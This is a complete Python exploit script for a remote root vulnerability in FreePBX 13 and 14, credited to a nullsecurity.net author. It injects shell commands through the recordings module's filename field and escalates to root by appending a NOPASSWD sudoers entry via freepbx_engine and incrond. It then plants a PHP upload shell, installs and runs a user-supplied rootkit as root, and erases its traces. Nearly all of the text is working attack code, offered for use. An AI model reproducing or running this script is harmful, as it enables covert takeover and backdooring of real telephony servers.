#!/usr/bin/env python
# -*- coding, latin-1 -*- ######################################################
# #
# DESCRIPTION #
# FreePBX 13 remote root 0day - Found and exploited by pgt @ nullsecurity.net #
# #
# AUTHOR #
# pgt - nullsecurity.net #
# #
# DATE #
# 8-12-2016 #
# #
# VERSION #
# freepbx0day.py 0.1 #
# #
# AFFECTED VERSIONS #
# FreePBX 13 & 14 (System Recordings Module versions: 13.0.1beta1 - 13.0.26) #
# #
# STATUS #
# Fixed 08-10-2016 - http://issues.freepbx.org/browse/FREEPBX-12908 #
# #
# TESTED AGAINST #
# * http://downloads.freepbxdistro.org/ISO/FreePBX-64bit-10.13.66.iso #
# * http://downloads.freepbxdistro.org/ISO/FreePBX-32bit-10.13.66.iso #
# #
# TODO #
# * SSL support (priv8) #
# * parameter for TCP port #
# #
# HINT #
# Base64 Badchars: '+', '/', '=' #
# #
################################################################################
'''
Successful exploitation should looks like:
[*] enum FreePBX version
[+] target running FreePBX 13
[*] checking if target is vulnerable
[+] target seems to be vulnerable
[*] getting kernel version
[!] Kernel: Linux localhost.localdomain 2.6.32-504.8.1.el6.x86_64 ....
[+] Linux x86_64 platform
[*] adding 'echo "asterisk ALL=(ALL) NOPASSWD:...' to freepbx_engine
[*] triggering incrond to gaining root permissions via sudo
[*] waiting 20 seconds while incrond restarts applications - /_!_\ VERY LOUD!
[*] removing 'echo "asterisk ALL=(ALL) NOPASSWD:...' from freepbx_engine
[*] checking if we gained root permissions
[!] w00tw00t w3 r r00t - uid=0(root) gid=0(root) groups=0(root)
[+] adding view.php to admin/.htaccess
[*] creating upload script: admin/libraries/view.php
[*] uploading ${YOUR_ROOTKIT} to /tmp/23 via admin/libraries/view.php
[*] removing view.php from admin/.htaccess
[*] rm -f admin/libraries/view.php
[!] execute: chmod +x /tmp/23; sudo /tmp/23 & sleep 0.1; rm -f /tmp/23
[*] removing 'asterisk ALL=(ALL) NOPASSWD:ALL' from /etc/sudoers
[*] removing all temp files
[!] have fun and HACK THE PLANET!
'''
import base64
import httplib
import optparse
import re
from socket import *
import sys
import time
BANNER = '''\033[0;31m
################################################################################
#___________ ________________________ ___ ____________ #
#\_ _____/______ ____ ____\______ \______ \ \/ / /_ \_____ \ #
# | __) \_ __ \_/ __ \_/ __ \| ___/| | _/\ / | | _(__ < #
# | \ | | \/\ ___/\ ___/| | | | \/ \ | |/ \ #
# \___ / |__| \___ >\___ >____| |______ /___/\ \ |___/______ / #
# \/ \/ \/ \/ \_/ \/ #
# _______ .___ #
# \ _ \ __| _/____ ___.__. * Remote Root 0-Day #
# / /_\ \ ______ / __ |\__ \< | | #
# \ \_/ \ /_____/ / /_/ | / __ \ \___ | #
# \_____ / \____ |(____ / ____| #
# \/ \/ \/\/ #
# #
# * Remote Command Execution Exploit (FreePBX 14 is affected also) #
# * Local Root Exploit (probably FreePBX 14 is also exploitable) #
# * Backdoor Upload + Execute As Root #
# #
# * Author: pgt - nullsecurity.net #
# * Version: 0.1 #
# #
################################################################################
\033[0;m'''
def argspage():
parser = optparse.OptionParser()
parser.add_option('-u', default=False, metavar='<url>',
help='ip/url to exploit')
parser.add_option('-r', default=False, metavar='<file>',
help='Linux 32bit bd/rootkit')
parser.add_option('-R', default=False, metavar='<file>',
help='Linux 64bit bd/rootkit')
parser.add_option('-a', default='/', metavar='<path>',
help='FreePBX path - default: \'/\'')
args, args2 = parser.parse_args()
if (args.u == False) or (args.r == False) or (args.R == False):
print ''
parser.print_help()
print '\n'
exit(0)
return args
def cleanup_fe():
print '[*] removing \'echo "asterisk ALL=(ALL) NOPASSWD:...' \
'\' from freepbx_engine'
cmd = 'sed -i -- \' /echo \"asterisk ALL=(ALL) NOPASSWD\:ALL\">>' \
'\/etc\/sudoers/d\' /var/lib/asterisk/bin/freepbx_engine'
command_execution(cmd)
return
def cleanup_lr():
print '[*] removing \'echo "asterisk ALL=(ALL) NOPASSWD:...' \
'\' from launch-restapps'
cmd = 'sed -i -- \':r;$!{N;br};s/\\necho "asterisk.*//g\' ' \
'modules/restapps/launch-restapps.sh'
command_execution(cmd)
return
def cleanup_htaccess():
print '[*] removing view.php from admin/.htaccess'
cmd = 'sed -i -- \'s/config\\\\.php|view\\\\.php|ajax\\\\.php/' \
'config\\\\.php|ajax\\\\.php/g\' .htaccess'
command_execution(cmd)
return
def cleanup_view_php():
print '[*] rm -f admin/libraries/view.php'
cmd = 'rm -f libraries/view.php'
command_execution(cmd)
return
def cleanup_sudoers():
print '[*] removing \'asterisk ALL=(ALL) NOPASSWD:ALL\' from /etc/sudoers'
cmd = 'sudo sed -i -- \'/asterisk ALL=(ALL) NOPASSWD:ALL/d\' /etc/sudoers'
command_execution(cmd)
return
def cleanup_tmpfiles():
print '[*] removing all temp files'
cmd = 'find / -name *w00t* -exec rm -f {} \; 2> /dev/null'
command_execution(cmd)
return
def check_platform(response):
if (response.find('Linux') != -1) and (response.find('x86_64') != -1):
print '[+] Linux x86_64 platform'
return '64'
elif (response.find('Linux') != -1) and (response.find('i686') != -1):
print '[+] Linux i686 platform'
cleanup_tmpfiles()
sys.exit(1)
return '32'
else:
print '[-] adjust check_platform() when you want to backdoor ' \
'other platforms'
cleanup_tmpfiles()
sys.exit(1)
def check_kernel(response):
if response.find('w00t') != -1:
start = response.find('w00t') + 4
end = response.find('w00tw00t') - 1
print '[!] Kernel: %s' % (response[start:end].replace('\\', ''))
return check_platform(response[start:end])
def check_root(response):
if response.find('uid=0(root)') != -1:
start = response.find('w00t') + 4
end = response.find('w00tw00t') - 2
print '[!] w00tw00t w3 r r00t - %s' % (response[start:end])
return
else:
print '[-] we are not root :('
cleanup_fe()
cleanup_lr()
cleanup_tmpfiles()
sys.exit(1)
def build_request(filename):
body = 'file=%s&name=a&codec=gsm&lang=ru&temporary=1' \
'&command=convert&module=recordings' % (filename)
content_type = 'application/x-www-form-urlencoded; charset=UTF-8'
return content_type, body
def filter_filename(response):
start = response.find('localfilename":"w00t') + 16
end = response.find('.wav') + 4
return response[start:end]
def post(path, content_type, body):
h = httplib.HTTP(ARGS.u)
h.putrequest('POST', '%s%s' % (ARGS.a, path))
h.putheader('Host' , '%s' % (ARGS.u))
h.putheader('Referer' , 'http://%s/' % (ARGS.u))
h.putheader('Content-Type', content_type)
h.putheader('Content-Length', str(len(body)))
h.endheaders()
h.send(body)
errcode, errmsg, headers = h.getreply()
return h.file.read()
def encode_multipart_formdata(fields, filename=None):
LIMIT = '----------lImIt_of_THE_fIle_eW_$'
CRLF = '\r\n'
L = []
L.append('--' + LIMIT)
if fields:
for (key, value) in fields.items():
L.append('Content-Disposition: form-data; name="%s"' % key)
L.append('')
L.append(value)
L.append('--' + LIMIT)
if filename == None:
L.append('Content-Disposition: form-data; name="file"; filename="dasd"')
L.append('Content-Type: audio/mpeg')
L.append('')
L.append('da')
else:
L.append('Content-Disposition: form-data; name="file"; filename="dasd"')
L.append('Content-Type: application/octet-stream')
L.append('')
L.append(open_file(filename))
L.append('--' + LIMIT + '--')
L.append('')
body = CRLF.join(L)
content_type = 'multipart/form-data; boundary=%s' % (LIMIT)
return content_type, body
def create_fields(payload):
fields = {'id': '1', 'name': 'aaaa', 'extension': '0', 'language': 'ru',
'systemrecording': '', 'filename': 'w00t%s' % (payload)}
return fields
def command_execution(cmd):
upload_path = 'admin/ajax.php?module=recordings&command=' \
'savebrowserrecording'
cmd = base64.b64encode(cmd)
payload = '`echo %s | base64 -d | sh`' % (cmd)
fields = create_fields(payload)
content_type, body = encode_multipart_formdata(fields)
response = post(upload_path, content_type, body)
filename = filter_filename(response)
content_type, body = build_request(filename)
return post('admin/ajax.php', content_type, body)
def check_vuln():
h = httplib.HTTP(ARGS.u)
h.putrequest('GET', '%sadmin/ajax.php' % (ARGS.a))
h.putheader('Host' , '%s' % (ARGS.u))
h.endheaders()
errcode, errmsg, headers = h.getreply()
response = h.file.read()
if response.find('{"error":"ajaxRequest declined - Referrer"}') == -1:
print '[-] target seems not to be vulnerable'
sys.exit(1)
upload_path = 'admin/ajax.php?module=recordings&command' \
'=savebrowserrecording'
payload = 'w00tw00t'
fields = create_fields(payload)
content_type, body = encode_multipart_formdata(fields)
response = post(upload_path, content_type, body)
if response.find('localfilename":"w00tw00tw00t') != -1:
print '[+] target seems to be vulnerable'
return
else:
print '[-] target seems not to be vulnerable'
sys.exit(1)
def open_file(filename):
try:
f = open(filename, 'rb')
file_content = f.read()
f.close()
return file_content
except IOError:
print '[-] %s does not exists!' % (filename)
sys.exit(1)
def version13():
print '[*] checking if target is vulnerable'
check_vuln()
print '[*] getting kernel version'
cmd = 'uname -a; echo w00tw00t'
response = command_execution(cmd)
result = check_kernel(response)
if result == '64':
backdoor = ARGS.R
elif result == '32':
backdoor = ARGS.r
print '[*] adding \'echo "asterisk ALL=(ALL) NOPASSWD:...\' ' \
'to freepbx_engine'
cmd = 'sed -i -- \'s/Com Inc./Com Inc.\\necho "asterisk ALL=\(ALL\)\ ' \
'NOPASSWD\:ALL"\>\>\/etc\/sudoers/g\' /var/lib/' \
'asterisk/bin/freepbx_engine'
command_execution(cmd)
print '[*] triggering incrond to gaining root permissions via sudo'
cmd = 'echo a > /var/spool/asterisk/sysadmin/amportal_restart'
command_execution(cmd)
print '[*] waiting 20 seconds while incrond restarts applications' \
' - /_!_\\ VERY LOUD!'
time.sleep(20)
cleanup_fe()
#cleanup_lr()
print '[*] checking if we gained root permissions'
cmd = 'sudo -n id; echo w00tw00t'
response = command_execution(cmd)
check_root(response)
print '[+] adding view.php to admin/.htaccess'
cmd = 'sed -i -- \'s/config\\\\.php|ajax\\\\.php/' \
'config\\\\.php|view\\\\.php|ajax\\\\.php/g\' .htaccess'
command_execution(cmd)
print '[*] creating upload script: admin/libraries/view.php'
cmd = 'echo \'<?php move_uploaded_file($_FILES["file"]' \
'["tmp_name"], "/tmp/23");?>\' > libraries/view.php'
command_execution(cmd)
print '[*] uploading %s to /tmp/23 via ' \
'admin/libraries/view.php' % (backdoor)
content_type, body = encode_multipart_formdata(False, backdoor)
post('admin/libraries/view.php', content_type, body)
cleanup_htaccess()
cleanup_view_php()
print '[!] execute: chmod +x /tmp/23; sudo /tmp/23 & sleep 0.1;' \
' rm -f /tmp/23'
cmd = 'chmod +x /tmp/23; sudo /tmp/23 & sleep 0.1; rm -f /tmp/23'
setdefaulttimeout(5)
try:
command_execution(cmd)
except timeout:
''' l4zY w0rk '''
setdefaulttimeout(20)
try:
cleanup_sudoers()
cleanup_tmpfiles()
except timeout:
cleanup_tmpfiles()
return
def enum_version():
h = httplib.HTTP(ARGS.u)
h.putrequest('GET', '%sadmin/config.php' % (ARGS.a))
h.putheader('Host' , '%s' % (ARGS.u))
h.endheaders()
errcode, errmsg, headers = h.getreply()
response = h.file.read()
if response.find('FreePBX 13') != -1:
print '[+] target running FreePBX 13'
return 13
else:
print '[-] target is not running FreePBX 13'
return False
def checktarget():
if re.match(r'^[0-9.\-]*$', ARGS.u):
target = ARGS.u
else:
try:
target = gethostbyname(ARGS.u)
except gaierror:
print '[-] \'%s\' is unreachable' % (ARGS.u)
sock = socket(AF_INET, SOCK_STREAM)
sock.settimeout(5)
result = sock.connect_ex((target, 80))
sock.close()
if result != 0:
'[-] \'%s\' is unreachable' % (ARGS.u)
sys.exit(1)
return
def main():
print BANNER
checktarget()
open_file(ARGS.r)
open_file(ARGS.R)
print '[*] enum FreePBX version'
result = enum_version()
if result == 13:
version13()
print '[!] have fun and HACK THE PLANET!'
return
if __name__ == '__main__':
ARGS = argspage()
try:
main()
except KeyboardInterrupt:
print '\nbye bye!!!'
time.sleep(0.01)
sys.exit(1)
#EOF